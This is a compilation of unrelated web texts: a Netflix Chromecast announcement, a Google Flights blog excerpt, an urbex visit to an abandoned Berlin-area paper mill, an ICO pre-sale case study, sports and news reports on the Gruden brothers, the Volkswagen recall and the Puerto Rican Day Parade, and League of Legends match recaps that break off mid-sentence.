expertise hard cap. Once you can do that with gear and reforging alone, it loses a lot of its allure. If I had to choose between a 200 haste enchant and Colossus, I think Colossus would win every time. So I think the chain is probably worth setting aside once your gear improves. -Netflix has announced that its ‘Post-Play’ feature, which plays the next episode in a TV series automatically at the end of an episode and that recommends similar titles at the end of a movie, is now available when casting to Google’s Chromecast device. It might not be a particularly new feature for iOS users but Android owners only got it in June this year, and it’s only today beginning to roll out for Android and iOS devices capable of sending content to a Chromecast dongle. Alas, if you’re a desktop user-only, you’ll have to wait for support for Post-Play to be added in the future; the company said it’s “coming soon”. ➤ Post-Play on Google Chromecast [Netflix] Image credit: Ryan Anson/AFP/Getty Images Read next: Google unveils Applause, a Hangouts on Air tool that lets viewers cheer and jeer in real-time -"SAELIG" is an Olde English word meaning "happy, prosperous, and blessed"...which is what we wish for our customers! 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When you’re ready to kick off your travel plans for 2018 and take a weekend getaway, check out our trending destinations for travel inspiration, and our new features to feel confident you’re getting a good deal. Get tips when the price is right Long weekends are a great excuse to escape to warmer weather, but worrying about getting the best price for your vacation can be stressful. A recent study we did indicated that travelers are most concerned about finding the best price for their vacations – more than with any other discretionary purchase. Google Flights can help you get out of town, even when you're on a budget. Using machine learning and statistical analysis of historical flights data, Flights displays tips under your search results, and you can scroll through them to figure out when it’s best to book flights. Say you were searching for flights to Honolulu, and flights from your destination were cheaper than usual. A tip would say that “prices are less than normal” and by how much to indicate you’d spotted a deal. Or, if prices tend to remain steady for the date and place you’re searching for, a tip would indicate the price “won’t drop further” based on our price prediction algorithms. -Papierfabrik Wolfswinkel is a disused paper mill about an hour from Berlin by train and bus (including waiting for connections) and an urbex enthusiast’s wet dream. Last week I met up with a couple of fellow Berliners eager to explore Berlin’s past through its abandoned buildings – Digital Cosmonaut and Irish Berliner of Abandoned Berlin. You can see Digital Cosmonaut’s post about our adventure here. After a couple of false starts due to the unsettled weather we decided to head to Eberswalde to check out Papierfabrik Wolfswinkel, which I first heard about when Sherry of Ottsworld took a Photo tour there during her time in Berlin as a guest blogger for Go With Oh. The abandoned paper factory at Wolfswinkel was built in 1762 and is listed as a Baudenkmal – recognition that it is a building of historic importance. The district of Barnim has a long tradition of paper production dating back to the 1530s and at one time the mills in the area were responsible for the production of all of the paper used by the Deutsches Reich for the printing of banknotes. Another mill in the area, Papierfabrik Spechthausen, produced the paper used to create the counterfeit pound notes for Operation Bernhard – an attempt to destabilise the British economy during the Second World War. In 1956, Papierfabrik Wolfswinkel took over the production of a famous handcrafted paper with a woodpecker watermark when the Papierfabrik Spechthausen was acquisitioned by the army. Unfortunately, the paper factory like many of Berlin’s abandoned buildings was a victim of German reunification. Paper production ceased in 1992, though it seems some stock still exists and the former owner has opened a paper museum on the site. Now, the factory is not a lot more than a shell. Here and there though there are some reminders of it’s industrial past in the machinery, vats and pipework that remain. And the various signs and writing on the walls. There was also a wealth of art throughout the building – so much that I will devote a whole post to it. Entering one of the buildings we stopped in our tracks when we heard what we first thought was machinery running. Having decided to carry on towards the source of the noise we were surprised to find it was water gushing from a stream outside and through the building. It was obvious as we were wandering around that some of the buildings are in use and ironically, as we started to think of going home we came across someone at the perimeter of the grounds who could tell from the way we were sneaking around that we didn’t have permission to be there. But much to our surprise, rather than telling us to leave, he told us that we should have reported ourselves when we arrived and to let him know when we were leaving. It seems that visitors are allowed at the site but in the interests of safety and in attempt to curb vandalism the owners like to know who is there. The one disappointment of the day was that it wasn’t possible to climb the tower we had seen from the outside of the building. The ladder that had presumably run up the inside of the tower had been removed. Climbing the pipework inside wouldn’t have got us very far so we had to be content with looking up into the empty space. But that was only a minor irritation after roaming around freely in the rest of the buildings. Even a sudden downpour as we left and made our way to the nearest bus stop couldn’t dampen my spirits. I had enjoyed exploring the abandoned Papierfabrik Wolfswinkel so much that wet jeans clinging to my thighs on the journey home was a small price to pay. -Crowdholding’s Pre-Sale — A Case Study Crowdholding Blocked Unblock Follow Following Sep 20, 2017 Crowdholding is a co-creation platform startup that is registered in the UK. We are aiming to allow both startups and the crowd to mutual prosper through co-creation and blockchain technology. On Sunday the 17th of September, Crowdholding concluded their pre-sale ICO, after 32 days, Crowdholding raised 514 Ethereum tokens, decimating our target of 200. We would firstly like to thank everyone who helped us achieve this target. This article will be a case study on how we went about implementing our pre-sale and what we have learnt to improve on for our ICO, which will launch on the 1st of November. Crowdholding Crowdholding was first conceived back in January 2016 between the three co-founders of the startup, from then on the startup has grown its product and size of its team. A working Beta was created back March 2017 and we have over 1200 users on the platform. Crowdholding moved towards a Initial coin offering as it was an opportunity to show the power of the crowd, receive feedback to improve user experience and keep control of our concept. Breakdown Our ICO starts on the 1st of November where 44% of the 631 million tokens will be on sale to the public, during the pre-sale 0.8% of all the tokens created were available for purchase. We set a goal of raising 200 Ethereum, and we were more than successful as we managed to raise over 500 in that period. The breakdown of the other token percentages can be found in the white paper here. Reason for our success There are a few reasons for our success during the pre-sale that will be implemented during the ICO. Strong organic marketing — Most of our marketing power was not spent on ads or paying for articles, but rather through content marketing, growth hacking and connecting with people who would be interested in our ideology. We made sure that we had all forms of communication. Social media channels and we were constantly pushing out new content. Strong customer service — We made sure that any curious visitor to the website were greeted with a someone from Crowdholding. If they had any doubts, questions or comments we were there to receive them and to reply back. This grows a strong relationship, and shows that we are here to advise and help. Use of Bounties — We made sure to use the public who would be interested in our concept / cryptocurrencies. Crowdholding used our own platform to structure bounties. Once this was created, the general public started to share and post to increase the visibility of Crowdholding. Improve through feedback — During the whole pre-sale we were constantly improving our website, whitepaper and presentations from feedback from the crowd. We cannot have an ideology praising the power of the crowd, if we do not utilize it as well. We value the crowd’s power so much we had bounty systems for feedback on our website and our whitepaper. Tracking what was successful and what wasn’t — ICO’s are still a new concept in investment and with any new investment idea, it can be difficult to market. We consistently looked at what channels worked and what channels were not as effective, which channels need more focus and which channels are growing so much, that they are sustaining themselves. What we learnt There were also some concepts we learnt and will add to make our ICO more successful: ICO’s are a global phenomenon and although China has recently banned ICO’s there is still a lot of different nations who are interested in ICO’s. We were a little late in getting translations and we will have more translations when the ICO comes around with research to back those markets. Connecting / networking — Because we were so focused on marketing and making sure we are connecting with people who visited our website, we didn’t have too many chances to get our ideology into events and network with cryptocurrency / blockchain enthusiasts face to face. We are now focusing on growing our team and networking so when it comes around to the 1st of November we will have a wider network to connect. We cannot wait for our ICO on the 1st of November, if you want to read more about our pre-sale and our concept, click here to read more. -ESPN broadcaster and former NFL head coach Jon Gruden, left, walks with his brother, Washington Redskins head coach Jay Gruden, after a recent practice. (Photo11: AP) Jon Gruden is strolling the streets of Georgetown in the nation's capital Sunday with his wife, Cindy, celebrating his 51st birthday by sharing memories of growing up with his best friend and notorious taunter – younger brother, Jay, the first-year Washington Redskins coach. As the former high-strung Oakland Raiders and Super Bowl-winning Tampa Bay Buccaneers coach notes, Jay has the more even-keeled, less irritable coaching persona. "I wore my emotions on my sleeve. Jay is going to live a lot longer, happier life than me,'' the ESPN Monday Night Football analyst tells USA TODAY Sports. "He has a lot of work to do. Expectations are soaring in D.C. So I just hope for the best for Jay.'' Jon interviewed his younger brother Saturday in preparation for tonight's preseason telecast when Jay Gruden's Redskins host Johnny Manziel and the Cleveland Browns. "Jay's team has a short week and a big game against Baltimore Saturday,'' Jon says. "So we didn't spend a lot of time reminiscing, eating birthday cake.'' But Jon Gruden spent 20 minutes recalling how ultra-competitive brothers grew up to answer their coaching calling, earning a Super Bowl ring together with the 2002 Tampa Bay Buccaneers. They had their share of fights growing up on the fields of northeast Ohio, but always had each other's back as sons of a football coach. Jim Gruden, an assistant under Notre Dame's Dan Devine, later served as San Francisco 49ers regional scout. "Jay and I are really close and I'm really proud of him, obviously,'' Jon says. "We were on the same baseball team. He was the second baseman. I was shortstop. He was always just better than me. Period. "We competed at everything from Wiffle Ball to tackle football. We fought a lot. But we also supported each other. "I could tell you a million stories.'' One stands out. Jon was proud of how hard he trained twice a day when he was Dayton's backup quarterback during the 1980s. "I'd challenge Jay every day to a 1.2-mile run I had mastered,'' Jon says. "Every day, he'd turn me down, lay on the floor drinking soda pop, chilling. "But one day, I said, 'Want to race?' And he got up and said, 'Let's go.' "And without doing any exercise in his life, he beat me by 250 yards and did the Rocky Balboa dance taunting me in the driveway. He still rubs that in my face. "That's when I realized I'm a small-college backup. And he's got a chance to be really good.'' Younger brother finished his 1985-1988 Louisville career with 7,024 yards passing (fourth all-time in school history), completing 572 of 1,049 passes for 44 touchdowns. As a senior, he led the 8-3 Cardinals to their first winning season in a decade. He was signed as Dan Marino's developmental backup on the 1989 Miami Dolphins before chasing his dream in the Arena League. "Howard Schnellenberger (Jay's coach at Louisville) would tell you, Jay had a lot to do with putting Louisville football back on the map,'' Jon says. "He was a heck of a quarterback, an Arena Bowl MVP. He just didn't get an NFL opportunity. And I think he still deep down has a chip on his shoulder because he didn't.'' After three years as Cincinnati Bengals offensive coordinator grooming quarterback Andy Dalton, Jay is tasked with helping Robert Griffin III take the next step as a polished pocket passer. "Jay is really good with quarterbacks, he can adjust to his personnel, the strengths and weaknesses of his quarterback,'' Jon said. "It's going to take time. He's implementing a new offense, changing to a degree the style of Robert. He's had tremendous success. And we all know what a tremendous athlete and a great kid (Griffin) is. "But maybe by improving within the pocket and utilizing his supporting cast, hopefully, Robert continues to grow in all areas.'' What will Jay's coaching identity be? "He's still writing his script,'' Jon says. "The Redskins won just three games last year. Hopefully, he gets the chance to put his program in place and see it grow. He's prepared himself well. "He was a head coach in the Arena League and United Football League. A lot of people roll their eyes at that. But he was in charge of a budget, had to find and release players, make all kind of game day decisions. "He's dealt with some real characters.'' The Gruden brothers realized the ultimate dream when they earned a Super Bowl XXXVII ring. "Jay didn't get a lot of credit for that ring,'' Jon says. "He was the guy I talked to in the press box every game day for seven years. In the Super Bowl, he called, '374 WASP' at the end of the first half, the fly stop from Brad Johnson to Keenan McCardell.'' That 5-yard touchdown put the Bucs up 20-3 at halftime en route to a 48-21 throttling of quarterback Rich Gannon's Oakland Raiders, whom Jon coached the previous four seasons. Jay was asked if big brother would go easy on him. "No,'' he says. "He called a couple of my games last year in Cincy. Jon is Jon. "He's going to be positive if he can. But if I do something that's out-of-line ignorant, I'm sure he'll call me on it. "Jon is obviously very good at what he does. And he won't jeopardize what he does for my feelings. He never has.'' Hey, older brother has to get payback for that Rocky Balboa taunt, right? "You're going to be second-guessed when things don't go well,'' Jon says. "You have a job to be yourself. I'll do the best I can to keep improving as an analyst. "I'm not going to go out of my way to destroy anybody. I just want to have fun, showcase our ESPN preparation.'' Jay and his family bought a home in the same neighborhood as RG3 and his wife. "Jay plays golf once in a while on those hills,'' Jon says. "And Robert is running up those same hills with a tire strapped to his back. I don't think they're on the same page in terms of how to use that golf course. "It's going to be a great battery. It's just like any great relationship. There will be times where they bump heads and have to fight through adversity. It might be Monday night.'' Jon told USA TODAY Sports if he had the No. 1 pick in the May draft, he would have taken Manziel, who gets his last shot to win the starting job from Brian Hoyer alternating first-team reps. "It's going to be a challenge alternating series,'' Jon says. "I never liked to do that. "I expect Johnny to improve every time out. "I don't think the crisis is, is he ready for opening day? It's get himself ready to be a starter, whether it's Week 1 this year or next. He's still raw.'' -HAMBURG/BERLIN (Reuters) - Volkswagen (VOWG_p.DE) can bounce back from the scandal over its rigging of diesel emissions tests in two to three years, its new CEO predicted on Thursday, as the carmaker outlined plans to recall 8.5 million affected vehicles in the European Union. Matthias Mueller, who took the helm last month after Europe’s biggest automaker admitted to cheating U.S. diesel emissions tests, said the German company needed to give more power to its brands and regional operations while working to get to the bottom of the biggest business scandal in its history. “We have a good chance of shining again in two to three years,” he said in a speech to Volkswagen managers in Leipzig. Volkswagen has said up to 11 million vehicles worldwide could contain banned software that allows them to know when they are being tested and temporarily reduce toxic emissions. The German company said on Thursday it would recall around 8.5 million vehicles affected in the European Union following an order from Germany’s KBA automotive watchdog, which is taking the lead for other national EU regulators. Volkswagen had said previously there were around 8 million vehicles affected in the EU. A spokesman said it was recalling a further 500,000 “voluntarily,” but did not know whether they might also contain the cheat software. The KBA said the recall, involving 2.4 million vehicles in Germany, should start at the beginning of next year and would be mandatory, meaning drivers do not get to chose whether or not to bring in their cars and vans for servicing. A recall of all 11 million vehicles would be among the biggest in history by a single automaker, similar in scale to Toyota’s 2009-2010 recall of more than 10 million vehicles over acceleration problems, though dwarfed by the number recalled by multiple carmakers due to faulty Takata air bags. Some analysts have said the scandal could cost Volkswagen as much as 35 billion euros (25.80 billion pound) to cover vehicle refits, regulatory fines and lawsuits. Prosecutors in Italy said on Thursday they were investigating local managers at Volkswagen and its Lamborghini sports car business for alleged fraud. Nearly four weeks after it publicly admitted to rigging U.S. emissions tests, Volkswagen is under pressure to identify those responsible. It has been criticised by politicians, investors and consumers for the time it is taking to produce answers. Two people familiar with the matter said on Thursday the company had suspended Falko Rudolph, who oversaw the development of diesel engines between 2006 and 2010, as part of its investigation into the wrongdoing, which has already seen three top engineers suspended. FUTURE OF DIESEL The scandal has wiped around a quarter off Volkswagen’s stock market value, forced out its long-time CEO and rocked the global auto industry and German establishment. “We will significantly streamline structures, processes and (decision-making) bodies. We must become leaner and take decisions more rapidly,” Mueller said of his recovery plan. “Our competitors are only waiting for us to fall behind on technology matters because we are so preoccupied with ourselves. But we won’t let that happen,” he added. German Environment Minister Barbara Hendricks said on Thursday the government should think about ending tax breaks for diesel cars and promoting electric ones, though she later said higher taxes for diesel vehicles were not on the agenda. Tax breaks have given a big boost to diesel vehicles in Europe, where they account for about a half of sales compared with just a small fraction in the United States. Abolishing them could have business implications for European carmakers including Renault (RENA.PA), Peugeot (PEUP.PA) and Fiat (FCHA.MI), as well as Volkswagen. France said on Wednesday it planned to reduce a tax break on diesel fuel. German Transport Minister Alexander Dobrindt said the KBA had given Volkswagen until the end of the month to come up with a plan for a software fix needed for 2.0 litre vehicles affected by the recall. Volkswagen logos adorn a sign outside a dealership for the German automaker located in the Sydney suburb of Artarmon, Australia, October 3, 2015. REUTERS/David Gray The carmaker has until the end of November to come up with a technical solution for 1.6 and 1.2 litre vehicles, he added. Volkswagen has said it aims to complete a refit of all affected vehicles by the end of 2016, with some requiring more complex and expensive changes to hardware. Germany had previously said 2.8 million Volkswagen vehicles were affected by the scandal in the country. Dobrindt said only 2.4 million needed to be recalled because the other 400,000 were no longer on the roads. He reiterated the affected vehicles were safe and could be driven as normal. -Sponsors and government officials marched away from the Puerto Rican Day Parade on Monday — with the New York Yankees, JetBlue and even the city’s top cop ditching the event over its decision to honor a deadly terror organization’s kingpin. Police Commissioner James O’Neill cited the bloodshed caused by the Puerto Rican nationalist group once run by Oscar López Rivera, who will be hailed at the June 11 march by the organizers of the annual celebration. “I can’t support a man who was the co-founder of an organization that engaged in over 120 bombings, six people killed and seriously injured police officers,” O’Neill said. “I usually do march in most of the parades with the fraternal organizations, but I am not going to be marching this year . . . I am not going to march.” Before President Barack Obama commuted his sentence in January, López Rivera spent 36 years in prison for his role as a leader of the FALN, which was behind a series of bloody attacks, including the 1975 bombing of Fraunces Tavern in lower Manhattan that killed four people and a blast that maimed a cop at Police Headquarters in 1982. López Rivera’s defenders say he never directly participated in plotting a terror attack. The Yankees and JetBlue had been slated as sponsors of the parade, but both issued statements Monday announcing they would not take part, citing the López Rivera furor. They join another major sponsor, Goya Foods, which also recently bailed out. The Yankees’ boycott particularly stings. Bronx Bombers who have graced the parade include Puerto Rican native Bernie Williams. “The New York Yankees are not participating in this year’s Puerto Rican Day parade,” the team said in a statement. “However, for many years, the Yankees have supported a scholarship program that recognizes students selected by the parade organizers. To best protect the interests of those students, and avoid any undue harm to them, the Yankees will continue to provide financial support for the scholarships, and will give to the students directly.” The Yankees had no further comment. Mayor Bill de Blasio, who is expected to march in the parade, said he had “respect” for O’Neill’s views, but defended his own decision to participate. “This is a very important event in New York City,” he told NY1 Monday night. “Look, the parade decided to honor a certain individual, but that does not change the basic nature of the parade, and what it means to the city, so I look forward to marching.” JetBlue, which was named the official airline of the parade, said it pulled out because “it became clear that the debate about this year’s parade was dividing the community and overshadowing the celebration of Puerto Rican culture that we had set out to support.” JetBlue said it would direct its funds to support scholarships for “Puerto Rican students in both New York and Puerto Rico.” “We did not make this decision lightly and hope all sides will come together to engage in a dialogue about the parade’s role in unifying the community at a time when Puerto Rico needs it most,” JetBlue said in a statement. It was unclear if other sponsors will bail out. They include AT&T, Coca-Cola, CUNY, the Daily News and the United Federation of Teachers. A police union is urging the companies to back out or face boycotts by its members. “We are asking our members not to participate in the Puerto Rican Day parade. More importantly, as long as Oscar López Rivera is allowed to participate, we will be asking our members to boycott any corporation that continues to help fund this event,” said Lou Turco, president of the Lieutenants Benevolent Association. see also JetBlue pulls out of Puerto Rican Day Parade amid controversy JetBlue Airways has pulled out as a sponsor of the... He said his members should remember come election time which politicians supported the release of a “convicted terrorist.” “We support the NYPD members who were seriously injured and the families of the innocent people who lost their lives during these attacks throughout the United States and in our city,” Turco said. “We took an oath to protect and serve the people. Unfortunately, this year’s views and values of the National Puerto Rican Day Parade committee do not conform with the society’s mission of promoting peace and unity.” Detectives’ Endowment Assocation president Michael Palladino slammed City Council Speaker Melissa Mark-Viverito for her role in advancing López Rivera’s release and parade honor. “When elected, the speaker took an oath to uphold the Constitution of the United States. Mark-Viverito violates that oath every time she celebrates this terrorist,” Palladino said. The speaker, a native of Puerto Rico, said she was “disappointed” by sponsors that quit the parade, saying they acted based on “misinformation” and “lies.” She said the police unions put out “inflammatory statements.” She said the support for López Rivera was about “human rights,” not politics. -Day 6 Team NB vs SK Telecom T1 S Match 1 SKTS Picks: Renekton, Evelynn, Orianna, Vayne, Sona SKTS Bans: Anivia, Annie, Sivir NB Picks: Singed, Lee Sin, Zed, Lucian, Soraka NB Bans: Elise, Syndra, Rengar NB’s duo lane went top to make 2v1 lanes at game start, Pony took starfall first to almost immediately push the wave into the turret. H0R0 roamed top immediately after taking double buffs and secured first blood on asd. Both junglers moved to support top lane, resulting in SKTS taking bottom turret shortly before NB could reply with top turret. SKTS then roamed into NB’s blue jungle and stole the buff followed by the first dragon. SKTS then roamed into NB’s Red jungle, killing Longpanda and taking that buff as well. Both teams moved to dragon as it respawned. SKTS took the dragon then engaged, taking a 5/0 teamfight followed by the 1st and 2nd mid turrets. NB immediately rushed mid to attempt to reply with SKTS mid turret. SKTS engaged and took a 3/0 teamfight followed by NB’s mid inhibitor, trading for their bottom turret to Elf’s split push. SKTS then roamed top, took 2 more unanswered kills and the 2nd top turret. Then bottom another kill and the 2nd bottom turret. NB attempted an engagement as SKTS sieged bottom but SKTS took 4 more kills and closed out the game. Match 2 NB Picks: Renekton, Elise, Orianna, Ezreal, Annie NB Bans: Syndra, Rengar, Kassadin SKTS Picks: Rumble, Lee Sin, Zed, Lucian, Taric SKTS Bans: Sivir, Evelyn, Gragas The teams started standard lanes. H0R0 ganked top just before 6 minutes but minjae and Elf followed up, ending in a 2/1 fight for NB. BANG and Wolf dove asd and pony, forcing them out of lane, allowing H0R0 and Wolf to take dragon while bottom lane was empty. Just before dragon respawned, both junglers ganked bottom, resulting in a 3/1 fight, bottom turret, and a second dragon for SKTS. Your members of NB grouped up mid, potentially to gank, but left when Easyhoon backed off, allowing Easyhoon to take mid turret for free. SKTS ganked bottom just before 20 minutes, trading 2nd bottom turret for their top turret after a 1/1 fight. NB moved to mid turret to kill Wolf then pushed into their red jungle and were ambushed by SKTS. SKTS came out of the fight 4/0 then took their third dragon while MaRin destroyed top turret. Both teams moved to mid lane, SKTS killed pony in a pick and both teams engaged, resulting in a total 4/3 teamfight for SKTS. Both teams returned mid, SKTS got a pick on asd then took 2nd mid turret. SKTS moved toward Baron to set up a pick. MaRin baited an engagement that resulted in a 1/0 teamfight for SKTS after which they took baron and began to split push all three lanes. Easyhoon quickly took 2nd top turret then SKTS began a prolonged siege, bring NB’s mid and bottom inhibitor turrets low before baron buff expired. After backing to buy, SKTS split push mid and bottom lanes. After scoring a kill on pony, SKTS took both turrets and mid inhibitor before NB engaged. SKTS came out of the fight 4/1 and took the Nexus. KT Rolster Bullets vs NaJin Black Sword Match 1 Bullets Picks: Lee Sin, Elise, Nidalee, Ezreal, Leona Bullets Bans: Lucian, Mundo, Annie Sword Picks: Rengar, Olaf. Syndra, Vayne, Sona Sword Bans: Kassadin, Sivir, Evelynn Teams began with 2v1 lane, Swords duo going top. At 6 minutes KaKAO moved to the tribush behind Expession’s turret and placed a ward for InSec to teleport in. Expession read the dive and backed off just in time. Bullets traded their top turret for the first dragon. Sword switched their duo lanes bottom to allow Expession to farm the empty lane. When dragon respawned, Bullets ran interference while KaKAO soloed it. Bullets then pushed Sword out of their blue jungle and took bottom turret. inSec was caught invading Sword’s red jungle but escaped into mid lane and finished off a kill on Peng. Bullets then returned mid to siege and took mid turret. Sword attempted to take the next dragon but Bullets catch and kill Expession then take their third dragon of the game. Bullets begin moving around Baron to deny vision, ultimately taking top turret while Sword piles in to take their mid turret. Bullets traveled to bottom lane to siege the 2nd turret. After an engage by Sword resulting in no deaths, Sword was forced to back while Bullets took the turret. KaKAO then secured Bullet’s fourth dragon. InSec started farming bottom lane, baiting out 3 members of Sword to attempt a gank while his team began Baron. After avoiding all of Sword's abilities, InSec teleported to Baron to take the objective. Bullets used the buff to rapidly secure the 2nd mid and top turrets. Sword attempted to engage mid lane ending in a perfect 5/0 teamfight for Bullets. Bullets capitalized on the fight and pushed mid all the way to the Nexus. Match 2 Sword Picks: Rengar, Evelynn, Syndra, Twitch, Sona Sword Bans: Lee Sin, Kassadin, Lucian Bullets Picks: Olaf, Elise, Orianna, Ezreal, Taric Bullets Bans: Mundo, Annie, Sivir Sword late invaded Bullets blue buff at level 1 resulting in a stand off. Mafa attempted an engage which ultimately resulted in PraY getting first blood. With the number advantage, Watch stole Bullets blue and secured a large cs lead for both Sword’s solo lanes. Bullets duo lane moved top while Sword stayed bottom, resulting in 2v1 lanes. Sword took bottom turret then rotated to take the first dragon while Bullets took top turret and stole Sword’s blue. Sword repeatedly ganked Ryu mid, either killing him or pushing him out of lane to put him further behind after his deficit from level 1. Sword eventually took mid turret off of the pressure then rotated top to kill InSec. Sword took their second dragon when it respawned with no contest from Bullets. An engagement by Bullets in bottom lane leads to an extended 2/2 teamfight. Sword picked up 2 more kills before both teams moved toward the next dragon. Bullets contested, killed Expession, and took the third dragon. Sword made repeated successful picks on KaKAO which they attempt to convert into Baron. The first attempt resulted in Bullets rushing mid turret and taking it out from under Sword, although Sword was able to secure the fourth dragon. The second attempt resulted in a 3/3 teamfight. After both teams respawned, Bullets rushed Baron and secured it for themselves then engaged on Sword but losing the resulting teamfight. Bullets returned and took dragon then rotated to also secure bottom turret. Sword attempted to siege mid turret but KaKAO initiated on Peng for a 3/0 teamfight for Bullets who pushed all the way in to take Sword’s mid inhibitor. Both teams returned mid and Sword attempted another engagement. Bullets won the teamfight 4/0 then pushed in and took the Nexus. Day 7 CJ Entus Frost vs JinAir Falcons Match 1 Falcons Picks: Renekton, Elise, Tryndamere, Ezreal, Karma Falcons Bans: Nunu, Rengar, Sivir Frost Picks: Mundo, Olaf, Kayle, Vayne, Taric Frost Bans: Shyvana, Annie, Lucian Frost invaded Falcon’s blue, resulting in the teams trading blue buffs and 2v1 lane matchups with Frost’s duo going top. Falcons’ duo took their turret first in bottom lane at 7 minutes. Roar forced Shy out of lane, allowing Falcons to safely secure the first dragon at 9 minutes. At 10 minutes, Frost finally took top turret while Falcons took the 2nd bottom turret. ActScene ganked middle, pushing MakNoon back while Falcons entire team grouped mid, taking mid turret at 11 minutes and almost destroying the 2nd mid turret while Frost took the 2nd top turret. Space and Reapered both rotated bottom to split push while the rest of their teams went top. Falcons sieged Frost’s turret until Frost engaged 4v4 and MakNoon took first blood at 14 minutes. Reapered rotated top to split push against shy as both teams roamed to dragon, Falcons securing their second dragon at 16 minutes. Frost ganked Reapered and killed him 3v1 while Falcons group mid and took 2nd mid turret, ending in a trade as MakNoon took bottom turret solo. At 21 minutes Falcons took control of vision around Baron and waited for a pick. Falcons ambushed Helios and forced out his Ragnarok and Ghost to get away then began Baron while MakNoon and Space were taking dragon. shy and Madlife rushed the pit and shy killed starlast as Falcons took Baron. The teams fought and Frost won the fight 4/2 but were too low to take an objective. Upon respawning, Falcons rushed top and took top turret at 24 minutes then attempted to push in and group siege the 2nd turret. Frost engaged once again, winning another 4/2 teamfight. Frost grouped mid at 27 minutes with shy split pushing bottom. MiSo was caught out a killed and Frost immediately took mid turret. MakNoon roamed bot to join shy and both lanes dove Falcons, Reapered dying bottom but no turrets taken. Frost backed off and took their second dragon. shy remained bottom, forcing Reapered to stay with him while the rest of Frost started clearing Baron area. shy baited Reapered into an all in, allowing Space to roam bottom and take the kill. Frost then moved to Baron. Falcons engaged and shy teleported into the fight from bottom lane. Frost killed MiSo and took Baron then piled in mid lane, taking 2nd mid turret then 2nd bottom turret and group sieging the lane. Falcons engaged again, Frost taking the teamfight 2/1 as well as mid and bottom inhibitors before backing off, securing their third dragon, and buying. Frost pushed in mid lane, took the final inhibitor at 38 minutes and scored 3 more kills before taking the Nexus. Match 2 Frost Picks: Shen, Elise, Kassadin, Ezreal, Taric Frost Bans: Sivir, Annie, Shyvana Falcons Picks: Lissandra, Riven, Tryndamere, Lucian, Karma Falcons Bans: Mundo, Kayle, Olaf Frost unsuccessfully attempted to late invade Falcons’ blue. Teams moved into standard lane matchups with duo lanes top. ActScene invaded red with Reapered, scoring first blood on Helios and stealing red. Both junglers ganked mid at 6 minutes, ending with a double kill for Reapered. As Frosts blue respawned, Actscene invaded with Falcons’ duo lane, stealing blue and killing Helios and Space while Reapered killed MakNoon under tower when he attempted to assist. MakNoon and shy switched lanes while Reapered and ActScene took the first dragon at 10 minutes. Meanwhile, MiSo teleported top and killed Frost’s duo lane 3v2, taking the score to 8/0 then securing the top turret. Both duo lanes rotated bottom, ActScene showing up in lane 2 minutes later and pushing Frost out while they took bottom turret. Frosts 3 man dove Reapered top, killing him then taking the turret while the remainder of Falcons traded for Frost’s mid turret. Frost managed to pick Roar as he was withdrawing from bottom then pushed in the lane and 5v4 dove bottom turret, losing the fight to Falcons 5/2 while Reapered took 2nd top turret. After respawning, Falcons went directly to Baron and snuck the objective at 16 minutes. Falcons immediately ambushed Frost with the buff, resulting in a 3/0 teamfight, and then rotated to take their second dragon. Reapered moved to bottom and pushed to the 2nd turret to set up for a 5v4 tower dive, taking 2 kills and then 2nd bottom turret. When Frost respawned, Falcons dove again, taking another kill and the bottom inhibitor. The kill gap grew to 19/4. MakNoon was ambushed and killed in top lane, allowing Falcons to 5 man siege mid, taking another kill and the mid inhibitor at 21 minutes. With both inhibitors down, Falcons rotated to top lane with Tryndamere split pushing bottom. Frost engaged under top turret 5v4 and won a 4/1 teamfight while minions destroyed one of the Nexus turrets. Falcons respawned and took their second Baron then pushed in to retake bottom and mid inhibitors before returning to siege top lane. Falcons engaged under turret for a 5/2 teamfight and the Nexus. Day 8 SK Telecom T1 K vs CJ Entus Blaze Match 1 SKTK Picks: Shyvana, Olaf, Gragas, Sivir, Lulu SKTK Bans: Annie, Lee Sin, Caitlyn Blaze Picks: Rengar, Mundo, Lucian, Thresh Blaze Bans: Taric, Elise, Evelynn Blaze invaded blue buff, forcing SKTK to trade for their buff. The lanes began with 2v1 matchups with Blaze’s duo lane going top. Both junglers moved to support their 1v2 lane, DayDream scoring first blood on Piglet before 4 minutes. After another unsuccessful gank bottom, SKTK’s duo lane froze the lane to farm under their turret while Blaze continued to pressure the tower top. SKTK 3 man dove and killed Ambition mid just before 9 minutes.They then moved toward dragon to bait a check and scored another kill on LustBoy before taking the first dragon, trading for their top turret at 10 minutes. After securing top turret, Blaze’s duo lane rotated bottom for a 2v2 matchup. Bengi ganked mid at 13 minutes. Faker killed Ambition and they took mid turret. Impact and Bengi roamed bottom, counterengaging when their duo baited a jungle gank from Blaze. SKTK scored a triple kill bottom while Faker killed Ambition in the river, resulting in a 4/0 fight and a 7/1 kill score at 15 minutes. Faker killed DayDream in his own jungle, resulting in a skirmish mid that scored 2 more kills for SKTK. SKTK used the number advantage to secure their second dragon. SKTK grouped bottom to push while Impact split push against Flame top. Blaze defends for some time but is forced to respond when Faker starts pushing mid. SKTK killed Pact Jack and took 2nd bottom turret at 22 minutes. Blaze attempted a pick on Impact in the jungle but SKTK took 2nd mid turret then killed DayDream and forced Blaze to retreat, securing SKTK the 2nd top turret as well. Faker caught Ambition in mid lane at 25 minutes and SKTK sieged mid with a number advantage, forcing Blaze off their turret and taking the mid inhibitor. With a 13/1 kill score and over 15k gold lead for SKTK, Blaze surrendered at 26 minutes. Match 2 Blaze Picks: Mundo, Xin Zhao, Gragas, Lucian, Taric Blaze Bans: Anivia, Caitlyn, Lee Sin SKTK Picks: Rengar, Olaf, Nidalee, Vayne, Nami SKTK Bans: Sivir, Elise, Evelynn SKTK invaded Blaze’s red while Blaze invaded SKTK’s blue. Both teams ran into each other in the river on their way into bottom lane, resulting in a 2/1 fight for Blaze with Flame taking Blaze’s red buff back from Bengi. When everyone had returned, the lanes were traditional matchups with duo lanes bottom. Bengi and Impact caught Flame and DayDream stealing SKTK’s wolves and fought, coming out with 2/1 fight for SKTK and giving a double kill and double buffs to Impact. DayDream roamed to bottom at 7 minutes, pushed in the lane and moved to dragon. SKTK contested 4v4. Blaze secured the dragon despite Faker killing DayDream with a spear. Blaze retreated over the wall. Ambition and DayDream roamed bottom at 11 minutes to tower dive SKTKs duo lane. Faker way caught by the two in the river but escaped, drawing them into the river while Bengi ganked bottom and got a double kill. Flame was forced to cancel his teleport and SKTK took bottom turret. Blaze returned with DayDream and took bottom turret, but Bengi and Faker roamed bottom, killing Blaze’s duo lane yet again. SKTK moved to dragon but Ambition stole it with his ultimate. SKTK’s due lane rotated top, catching Flame teleporting onto his tower with Bengi. They chased Flame down to his 2nd turret but Blaze 